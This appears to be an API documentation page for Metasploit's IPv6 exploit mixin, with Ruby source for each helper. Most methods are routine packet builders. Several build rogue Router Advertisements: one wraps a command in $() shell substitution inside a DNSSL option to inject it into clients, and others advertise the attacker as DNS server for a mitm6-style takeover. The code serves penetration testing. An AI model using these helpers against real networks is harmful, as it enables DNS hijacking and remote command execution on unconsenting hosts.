Module: Msf::Exploit::Remote::Ipv6
- Defined in:
- lib/msf/core/exploit/remote/ipv6.rb
Overview
This module provides common tools for IPv6
Instance Method Summary collapse
- #check_pcaprub_loaded ⇒ Object
-
#close_icmp_pcap ⇒ Object
Close the capture interface.
-
#initialize(info = {}) ⇒ Object
Initializes an instance of an exploit module that captures traffic.
-
#ipv6_build_dnssl_option(cmd, lifetime = 0xFFFFFFFF) ⇒ Object
Build DNSSL option (https://www.rfc-editor.org/rfc/rfc6106#section-5.2).
-
#ipv6_build_dnssl_search_option(domains, lifetime = 0xFFFFFFFF) ⇒ Object
Build a DNS Search List (DNSSL) option carrying real search domains (https://www.rfc-editor.org/rfc/rfc8106#section-5.2).
-
#ipv6_build_prefix_info_option ⇒ Object
Build Prefix Information option (RFC 4861).
-
#ipv6_build_ra_dns_packet(smac, dns_servers, shost: 'fe80::1', domains: [], router_lifetime: 0, dns_lifetime: 0xFFFFFFFF, dst_mac: '33:33:00:00:00:01', dst_addr: 'ff02::1') ⇒ Object
Build a complete Router Advertisement that advertises the attacker as the recursive DNS server via an RDNSS option (and optional DNSSL search list).
-
#ipv6_build_ra_packet(smac, payload_cmd, shost = 'fe80::1') ⇒ Object
Build the complete Router Advertisement packet.
-
#ipv6_build_ra_payload ⇒ Object
Build ICMPv6 Router Advertisement payload.
-
#ipv6_build_rdnss_option(dns_servers, lifetime = 0xFFFFFFFF) ⇒ Object
Build a Recursive DNS Server (RDNSS) option (https://www.rfc-editor.org/rfc/rfc8106#section-5.1).
-
#ipv6_build_slla_option(mac) ⇒ Object
Build Source Link-Layer Address option (https://www.rfc-editor.org/rfc/rfc4861).
-
#ipv6_checksum!(pkt) ⇒ Object
Usual ghetto strategy from PacketFu.
-
#ipv6_encode_dnssl_payload(cmd) ⇒ Object
Encode a command payload as DNS label format for DNSSL injection.
-
#ipv6_encode_domain(name) ⇒ Object
Encode a domain name in DNS label format (length-prefixed labels, null-terminated).
-
#ipv6_icmpv6_echo_request(id, seq, data) ⇒ Object
Helper methods that haven't made it upstream yet.
-
#ipv6_interface(opts = {}) ⇒ Object
Shortcut method for resolving our local interface name.
-
#ipv6_link_address(opts = {}) ⇒ Object
Shortcut method for determining our link-local address.
-
#ipv6_linklocaladdr(mac) ⇒ Object
From Jon Hart's Racket::L3::Misc#linklocaladdr(), which is from Daniele Bellucci.
-
#ipv6_mac(opts = {}) ⇒ Object
Shortcut method for determining our MAC address.
-
#ipv6_neighbor_solicitation(neigh, smac) ⇒ Object
Takes a neighbor and smac as arguments, The Neighbor value must be an int, while the smac must be a string.
-
#ipv6_parse_options(data) ⇒ Object
Simple tlv parser.
-
#ipv6_router_solicitation?(pkt) ⇒ Boolean
True if the given parsed PacketFu packet is an ICMPv6 Router Solicitation (type 133, https://www.rfc-editor.org/rfc/rfc4861#section-4.1).
-
#ipv6_solicited_ra_target(src_mac, src_addr) ⇒ Object
Decide where to send a solicited Router Advertisement given the source link-layer and IPv6 address of a Router Solicitation.
-
#ipv6_soll_mcast_addr6(addr) ⇒ Object
From Jon Hart's Racket::L3::Misc#soll_mcast_addr6(), which is from DDniele Belluci.
-
#ipv6_soll_mcast_mac(addr) ⇒ Object
From Jon Hart's Racket::L3::Misc#soll_mcast_mac().
-
#ipv6_unspecified_address?(addr) ⇒ Boolean
True if
addris missing or the IPv6 unspecified address (::). -
#open_icmp_pcap(opts = {}) ⇒ Object
Opens a pcaprub capture interface to inject packets, and sniff ICMPv6 packets.
-
#ping6(dhost, opts = {}) ⇒ Object
Send a ICMPv6 Echo Request, and wait for the associated ICMPv6 Echo Response.
-
#solicit_ipv6_mac(dhost, opts = {}) ⇒ Object
Send out a ICMPv6 neighbor solicitation, and return the associated MAC address.
Instance Method Details
#check_pcaprub_loaded ⇒ Object
545 546 547 548 549 550 551 552 553 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 545 def check_pcaprub_loaded unless @pcaprub_loaded print_status("The Pcaprub module is not available: #{@pcaprub_error}") raise RuntimeError, "Pcaprub not available" else true end end |
#close_icmp_pcap ⇒ Object
Close the capture interface
90 91 92 93 94 95 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 90 def close_icmp_pcap() check_pcaprub_loaded return if not @ipv6_icmp6_capture @ipv6_icmp6_capture = nil end |
#initialize(info = {}) ⇒ Object
Initializes an instance of an exploit module that captures traffic
31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 31 def initialize(info = {}) super ( [ OptString.new('INTERFACE', [false, 'The name of the interface']), OptString.new("SMAC", [ false, "The source MAC address"]), OptAddress.new("SHOST", [ false, "The source IPv6 address" ] ), OptInt.new("TIMEOUT", [ true, "Timeout when waiting for host response.", 5]) ], Msf::Exploit::Remote::Ipv6 ) begin require 'pcaprub' @pcaprub_loaded = true rescue ::Exception => e @pcaprub_loaded = false @pcaprub_error = e end end |
#ipv6_build_dnssl_option(cmd, lifetime = 0xFFFFFFFF) ⇒ Object
Build DNSSL option (https://www.rfc-editor.org/rfc/rfc6106#section-5.2)
357 358 359 360 361 362 363 364 365 366 367 368 369 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 357 def ipv6_build_dnssl_option(cmd, lifetime = 0xFFFFFFFF) data = ipv6_encode_domain("#{rand_text_alpha(6..10)}.local") + ipv6_encode_dnssl_payload(cmd) # Pad to 8-byte boundary (option header is 8 bytes) pad_len = -data.length % 8 data << "\x00" * pad_len # Option header: Type(1) + Length(1) + Reserved(2) + Lifetime(4) # Length is in units of 8 octets, including header length_units = (8 + data.length) / 8 [31, length_units, 0].pack('CCn') + [lifetime].pack('N') + data end |
#ipv6_build_dnssl_search_option(domains, lifetime = 0xFFFFFFFF) ⇒ Object
Build a DNS Search List (DNSSL) option carrying real search domains (https://www.rfc-editor.org/rfc/rfc8106#section-5.2). Unlike ipv6_build_dnssl_option, this does not wrap a command payload; it simply advertises the given domains so the client appends them when resolving short names, which helps steer it onto poisoned FQDNs.
396 397 398 399 400 401 402 403 404 405 406 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 396 def ipv6_build_dnssl_search_option(domains, lifetime = 0xFFFFFFFF) data = Array(domains).map { |domain| ipv6_encode_domain(domain) }.join # Pad to an 8-byte boundary (the option header is 8 bytes). pad_len = -data.length % 8 data << ("\x00" * pad_len) length_units = (8 + data.length) / 8 [31, length_units, 0].pack('CCn') + [lifetime].pack('N') + data end |
#ipv6_build_prefix_info_option ⇒ Object
Build Prefix Information option (RFC 4861)
491 492 493 494 495 496 497 498 499 500 501 502 503 504 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 491 def ipv6_build_prefix_info_option type = 3 length = 4 # 32 bytes / 8 prefix_len = 64 flags = 0xC0 # L=1, A=1 (on-link, autonomous address config) valid_lifetime = 30.days.to_i preferred_lifetime = 7.days.to_i reserved = 0 prefix = IPAddr.new('2001:db8::').hton [type, length, prefix_len, flags].pack('CCCC') + [valid_lifetime, preferred_lifetime, reserved].pack('NNN') + prefix end |
#ipv6_build_ra_dns_packet(smac, dns_servers, shost: 'fe80::1', domains: [], router_lifetime: 0, dns_lifetime: 0xFFFFFFFF, dst_mac: '33:33:00:00:00:01', dst_addr: 'ff02::1') ⇒ Object
Build a complete Router Advertisement that advertises the attacker as the recursive DNS server via an RDNSS option (and optional DNSSL search list).
By default router_lifetime is 0, so the client does not adopt us as its default gateway (a DNS-only takeover that keeps routing untouched and stays closer to mitm6's stealth). Raise router_lifetime to also become a router.
dst_mac/dst_addr default to the all-nodes multicast group for an unsolicited RA; pass a specific client MAC and link-local address to unicast a solicited RA in response to a Router Solicitation.
418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 418 def ipv6_build_ra_dns_packet(smac, dns_servers, shost: 'fe80::1', domains: [], router_lifetime: 0, dns_lifetime: 0xFFFFFFFF, dst_mac: '33:33:00:00:00:01', dst_addr: 'ff02::1') type = 134 # Router Advertisement code = 0 checksum = 0 cur_hop_limit = 64 flags = 0x08 # Router Preference = Medium; M/O DHCPv6 flags left clear (RDNSS carries the DNS info) reachable_time = 0 retrans_timer = 0 ra_payload = [type, code, checksum, cur_hop_limit, flags, router_lifetime, reachable_time, retrans_timer].pack('CCnCCnNN') ra_payload << ipv6_build_slla_option(smac) ra_payload << ipv6_build_rdnss_option(dns_servers, dns_lifetime) ra_payload << ipv6_build_dnssl_search_option(domains, dns_lifetime) unless Array(domains).empty? p = PacketFu::IPv6Packet.new p.eth_saddr = smac p.eth_daddr = dst_mac # Default 33:33:00:00:00:01 = all-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2) p.ipv6_saddr = shost # Must be a link-local address (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2) p.ipv6_daddr = dst_addr # Default ff02::1 = all-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4291#section-2.7.1) p.ipv6_hop = 255 p.ipv6_next = 0x3a # ICMPv6 p.payload = ra_payload p.ipv6_len = ra_payload.length ipv6_checksum!(p) p end |
#ipv6_build_ra_packet(smac, payload_cmd, shost = 'fe80::1') ⇒ Object
Build the complete Router Advertisement packet
521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 521 def ipv6_build_ra_packet(smac, payload_cmd, shost = 'fe80::1') # Build ICMPv6 RA with options ra_payload = ipv6_build_ra_payload ra_payload << ipv6_build_slla_option(smac) ra_payload << ipv6_build_prefix_info_option ra_payload << ipv6_build_dnssl_option(payload_cmd) # Build IPv6 packet p = PacketFu::IPv6Packet.new p.eth_saddr = smac p.eth_daddr = '33:33:00:00:00:01' # All-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2) p.ipv6_saddr = shost # Link-local address (https://datatracker.ietf.org/doc/html/rfc4291#section-2.5.6) p.ipv6_daddr = 'ff02::1' # All-nodes multicast address (https://datatracker.ietf.org/doc/html/rfc4291-2.5.6#section-2.7.1) p.ipv6_hop = 255 p.ipv6_next = 0x3a # ICMPv6 p.payload = ra_payload p.ipv6_len = ra_payload.length ipv6_checksum!(p) p end |
#ipv6_build_ra_payload ⇒ Object
Build ICMPv6 Router Advertisement payload
507 508 509 510 511 512 513 514 515 516 517 518 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 507 def ipv6_build_ra_payload type = 134 # Router Advertisement code = 0 checksum = 0 cur_hop_limit = 64 flags = 0x40 # O flag (Other configuration) router_lifetime = 1800 reachable_time = 0 retrans_timer = 0 [type, code, checksum, cur_hop_limit, flags, router_lifetime, reachable_time, retrans_timer].pack('CCnCCnNN') end |
#ipv6_build_rdnss_option(dns_servers, lifetime = 0xFFFFFFFF) ⇒ Object
Build a Recursive DNS Server (RDNSS) option (https://www.rfc-editor.org/rfc/rfc8106#section-5.1).
This is the option that lets a rogue Router Advertisement hand the attacker to
IPv6 clients as their recursive resolver (the RA-based equivalent of the mitm6
DHCPv6 DNS takeover). dns_servers is one or more IPv6 addresses.
375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 375 def ipv6_build_rdnss_option(dns_servers, lifetime = 0xFFFFFFFF) servers = Array(dns_servers) raise ArgumentError, 'at least one DNS server is required' if servers.empty? addresses = servers.map do |addr| ip = IPAddr.new(addr) raise ArgumentError, "invalid IPv6 address: #{addr}" unless ip.ipv6? ip.hton end.join # Length is in units of 8 octets: 1 unit for the 8-byte header plus 2 units per address. length_units = 1 + (2 * servers.length) [25, length_units, 0].pack('CCn') + [lifetime].pack('N') + addresses end |
#ipv6_build_slla_option(mac) ⇒ Object
Build Source Link-Layer Address option (https://www.rfc-editor.org/rfc/rfc4861)
485 486 487 488 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 485 def ipv6_build_slla_option(mac) mac_bytes = mac.split(':').map { |x| x.to_i(16) }.pack('C6') [1, 1].pack('CC') + mac_bytes end |
#ipv6_checksum!(pkt) ⇒ Object
Usual ghetto strategy from PacketFu
293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 293 def ipv6_checksum!(pkt) check_data = pkt.headers.last[:ipv6_src].to_s.unpack("n8") check_data << pkt.headers.last[:ipv6_dst].to_s.unpack("n8") check_data << pkt.ipv6_len check_data << [0,58] check_payload = pkt.payload.size % 2 == 0 ? pkt.payload : pkt.payload + "\x00" check_data << check_payload.unpack("n*") check_data.flatten! checksum = check_data.inject(0) {|sum,x| sum += x} checksum = checksum % 0xffff checksum = 0xffff - checksum checksum == 0 ? 0xffff : checksum pkt.payload[2,2] = [checksum].pack("n") pkt end |
#ipv6_encode_dnssl_payload(cmd) ⇒ Object
Encode a command payload as DNS label format for DNSSL injection. Wraps the command in $() for shell substitution and splits into 63-byte chunks (max DNS label length).
340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 340 def ipv6_encode_dnssl_payload(cmd) payload_str = "$(#{cmd})" payload_bytes = payload_str.encode('ASCII-8BIT') if payload_bytes.length <= 63 return [payload_bytes.length].pack('C') + payload_bytes + "\x00" end result = '' until payload_bytes.empty? chunk = payload_bytes.slice!(0, 63) result << [chunk.length].pack('C') << chunk end result << "\x00" end |
#ipv6_encode_domain(name) ⇒ Object
Encode a domain name in DNS label format (length-prefixed labels, null-terminated)
326 327 328 329 330 331 332 333 334 335 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 326 def ipv6_encode_domain(name) result = '' name.split('.').each do |label| next if label.empty? data = label.encode('ASCII-8BIT') result << [data.length].pack('C') << data end result << "\x00" end |
#ipv6_icmpv6_echo_request(id, seq, data) ⇒ Object
Helper methods that haven't made it upstream yet. Mostly packet data packers, also a checksum calculator.
236 237 238 239 240 241 242 243 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 236 def ipv6_icmpv6_echo_request(id,seq,data) type = 0x80 code = 0 checksum = 0 id ||= rand(0x10000) seq ||= rand(0x10000) [type,code,checksum,id,seq,data].pack("CCnnna*") end |
#ipv6_interface(opts = {}) ⇒ Object
Shortcut method for resolving our local interface name
55 56 57 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 55 def ipv6_interface(opts={}) opts['INTERFACE'] || datastore['INTERFACE'] || ::Pcap.lookupdev end |
#ipv6_link_address(opts = {}) ⇒ Object
Shortcut method for determining our link-local address
62 63 64 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 62 def ipv6_link_address(opts={}) Rex::Socket.ipv6_link_address(ipv6_interface(opts)) end |
#ipv6_linklocaladdr(mac) ⇒ Object
From Jon Hart's Racket::L3::Misc#linklocaladdr(), which is from Daniele Bellucci
261 262 263 264 265 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 261 def ipv6_linklocaladdr(mac) mac = mac.split(":") mac[0] = (mac[0].to_i(16) ^ (1 << 1)).to_s(16) ["fe80", "", mac[0,2].join, mac[2,2].join("ff:fe"), mac[4,2].join].join(":") end |
#ipv6_mac(opts = {}) ⇒ Object
Shortcut method for determining our MAC address
69 70 71 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 69 def ipv6_mac(opts={}) Rex::Socket.ipv6_mac(ipv6_interface(opts)) end |
#ipv6_neighbor_solicitation(neigh, smac) ⇒ Object
Takes a neighbor and smac as arguments, The Neighbor value must be an int, while the smac must be a string. Very rudimentary and temporary.
312 313 314 315 316 317 318 319 320 321 322 323 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 312 def ipv6_neighbor_solicitation(neigh,smac) target = neigh.to_s(16).scan(/../).map {|x| x.to_i(16)}.pack("C*") type = 135 code = 0 checksum = 0 reserved = 0 opt_type = 1 opt_len = 1 [type, code, checksum, reserved, target, opt_type, opt_len, smac ].pack("CCnNa16CCa6") end |
#ipv6_parse_options(data) ⇒ Object
Simple tlv parser
246 247 248 249 250 251 252 253 254 255 256 257 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 246 def (data) pos = 0 opts = [] while pos < data.size type, len = data[pos,2].unpack("CC") this_opt = [type,len] this_opt << data[pos+2, (pos-2 + (len * 8))] opts << this_opt pos += this_opt.pack("CCa*").size end opts end |
#ipv6_router_solicitation?(pkt) ⇒ Boolean
True if the given parsed PacketFu packet is an ICMPv6 Router Solicitation (type 133, https://www.rfc-editor.org/rfc/rfc4861#section-4.1).
451 452 453 454 455 456 457 458 459 460 461 462 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 451 def ipv6_router_solicitation?(pkt) return false unless pkt.respond_to?(:is_ipv6?) && pkt.is_ipv6? return false unless pkt.ipv6_next == 0x3a # ICMPv6 # PacketFu parses next-header 58 into an ICMPv6Packet, exposing the message # type as icmpv6_type; fall back to the first payload byte otherwise. if pkt.respond_to?(:icmpv6_type) pkt.icmpv6_type == 133 else pkt.payload.to_s[0, 1] == "\x85" # 0x85 = 133 end end |
#ipv6_solicited_ra_target(src_mac, src_addr) ⇒ Object
Decide where to send a solicited Router Advertisement given the source link-layer and IPv6 address of a Router Solicitation. Per RFC 4861 section 6.2.6, if the solicitation's source is the unspecified address the response is multicast to all-nodes; otherwise it is unicast back to the solicitor. Returns [dst_mac, dst_addr].
469 470 471 472 473 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 469 def ipv6_solicited_ra_target(src_mac, src_addr) return ['33:33:00:00:00:01', 'ff02::1'] if ipv6_unspecified_address?(src_addr) [src_mac, src_addr] end |
#ipv6_soll_mcast_addr6(addr) ⇒ Object
From Jon Hart's Racket::L3::Misc#soll_mcast_addr6(), which is from DDniele Belluci
269 270 271 272 273 274 275 276 277 278 279 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 269 def ipv6_soll_mcast_addr6(addr) h = addr.split(':')[-2, 2] m = [] x = h[0] x[0..1] = 'ff' m << x x = h[1] x.sub!(/^0*/, "") m << x 'ff02::1:' + m.join(':') end |
#ipv6_soll_mcast_mac(addr) ⇒ Object
From Jon Hart's Racket::L3::Misc#soll_mcast_mac()
282 283 284 285 286 287 288 289 290 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 282 def ipv6_soll_mcast_mac(addr) h = addr.split(':')[-2, 2] m = [] m << 'ff' m << (h[0].to_i(16) & 0xff).to_s(16) m << ((h[1].to_i(16) & (0xff << 8)) >> 8).to_s(16) m << (h[1].to_i(16) & 0xff).to_s(16) '33:33:' + m.join(':') end |
#ipv6_unspecified_address?(addr) ⇒ Boolean
True if addr is missing or the IPv6 unspecified address (::).
476 477 478 479 480 481 482 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 476 def ipv6_unspecified_address?(addr) return true if addr.to_s.empty? IPAddr.new(addr.to_s).to_i.zero? rescue IPAddr::Error true end |
#open_icmp_pcap(opts = {}) ⇒ Object
Opens a pcaprub capture interface to inject packets, and sniff ICMPv6 packets
77 78 79 80 81 82 83 84 85 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 77 def open_icmp_pcap(opts = {}) check_pcaprub_loaded dev = ipv6_interface(opts) len = 65535 tim = 0 @ipv6_icmp6_capture = ::Pcap.open_live(dev, len, true, tim) @ipv6_icmp6_capture.setfilter("icmp6") end |
#ping6(dhost, opts = {}) ⇒ Object
Send a ICMPv6 Echo Request, and wait for the associated ICMPv6 Echo Response
164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 164 def ping6(dhost, opts={}) check_pcaprub_loaded dhost_intf = dhost + '%' + ipv6_interface(opts) smac = opts['SMAC'] || datastore['SMAC'] || ipv6_mac shost = opts['SHOST'] || datastore['SHOST'] || Rex::Socket.source_address(dhost_intf) dmac = opts['DMAC'] || solicit_ipv6_mac(dhost) timeout = opts['TIMEOUT'] || datastore['TIMEOUT'] wait = opts['WAIT'] if(wait.eql?(nil)) wait = true end dmac.eql?(nil) and return false open_icmp_pcap() # Create ICMPv6 Request p = PacketFu::IPv6Packet.new p.eth_saddr = smac p.eth_daddr = dmac p.ipv6_saddr = shost p.ipv6_daddr = dhost p.ipv6_next = 0x3a icmp_id = rand(65000) icmp_seq = 1 icmp_payload = Rex::Text.rand_text(8) p.payload = ipv6_icmpv6_echo_request(icmp_id,icmp_seq,icmp_payload) p.ipv6_len = p.payload.to_s.size ipv6_checksum!(p) @ipv6_icmp6_capture.inject(p.to_s) if(wait.eql?(true)) print_status("Waiting for ping reply...") print_line("") # Wait for a response max_epoch = ::Time.now.to_i + timeout while(::Time.now.to_i < max_epoch) pkt = @ipv6_icmp6_capture.next() next if not pkt response_pkt = PacketFu::Packet.parse(pkt) rescue nil next unless response_pkt next unless response_pkt.is_ipv6? next unless response_pkt.payload next if response_pkt.payload.empty? next unless response_pkt.payload[0,1] == "\x81" # Echo reply if( response_pkt.ipv6_daddr == p.ipv6_saddr and response_pkt.ipv6_saddr == p.ipv6_daddr and response_pkt.ipv6_daddr == p.ipv6_saddr and response_pkt.payload[4,2] == p.payload[4,2] and # Id response_pkt.payload[6,2] == p.payload[6,2] # Seq ) close_icmp_pcap() return(true) end end # End while end close_icmp_pcap() return(false) end |
#solicit_ipv6_mac(dhost, opts = {}) ⇒ Object
Send out a ICMPv6 neighbor solicitation, and return the associated MAC address
101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 |
# File 'lib/msf/core/exploit/remote/ipv6.rb', line 101 def solicit_ipv6_mac(dhost, opts = {}) check_pcaprub_loaded dhost_intf = dhost + '%' + ipv6_interface(opts) smac = opts['SMAC'] || datastore['SMAC'] || ipv6_mac shost = opts['SHOST'] || datastore['SHOST'] || Rex::Socket.source_address(dhost_intf) timeout = opts['TIMEOUT'] || datastore['TIMEOUT'] || 3 open_icmp_pcap() p2 = PacketFu::IPv6Packet.new p2.eth_saddr = smac p2.eth_daddr = ipv6_soll_mcast_mac(dhost) p2.ipv6_saddr = shost p2.ipv6_daddr = ipv6_soll_mcast_addr6(dhost) p2.ipv6_hop = 255 p2.ipv6_next = 0x3a p2.payload = ipv6_neighbor_solicitation( IPAddr.new(dhost).to_i, p2.eth_src ) p2.ipv6_len = p2.payload.size ipv6_checksum!(p2) @ipv6_icmp6_capture.inject(p2.to_s) # Wait for a response max_epoch = ::Time.now.to_i + timeout while(::Time.now.to_i < max_epoch) pkt_bytes = @ipv6_icmp6_capture.next() next if not pkt_bytes pkt = PacketFu::Packet.parse(pkt_bytes) rescue nil next unless pkt next unless pkt.is_ipv6? next unless pkt.ipv6_next == 0x3a next unless pkt.payload next if pkt.payload.empty? next unless pkt.payload[0,1] == "\x88" # Neighbor advertisement if(IPAddr.new(pkt.ipv6_daddr).to_i == IPAddr.new(shost).to_i and IPAddr.new(pkt.ipv6_saddr).to_i == IPAddr.new(dhost).to_i) ipv6opts = pkt.payload[24,pkt.payload.size] next unless ipv6opts parsed_opts = (ipv6opts) parsed_opts.each do |opt| if opt[0] == 2 addr = PacketFu::EthHeader.str2mac(opt.last) close_icmp_pcap() return(addr) end end close_icmp_pcap return(pkt.eth_saddr) end end close_icmp_pcap return nil end |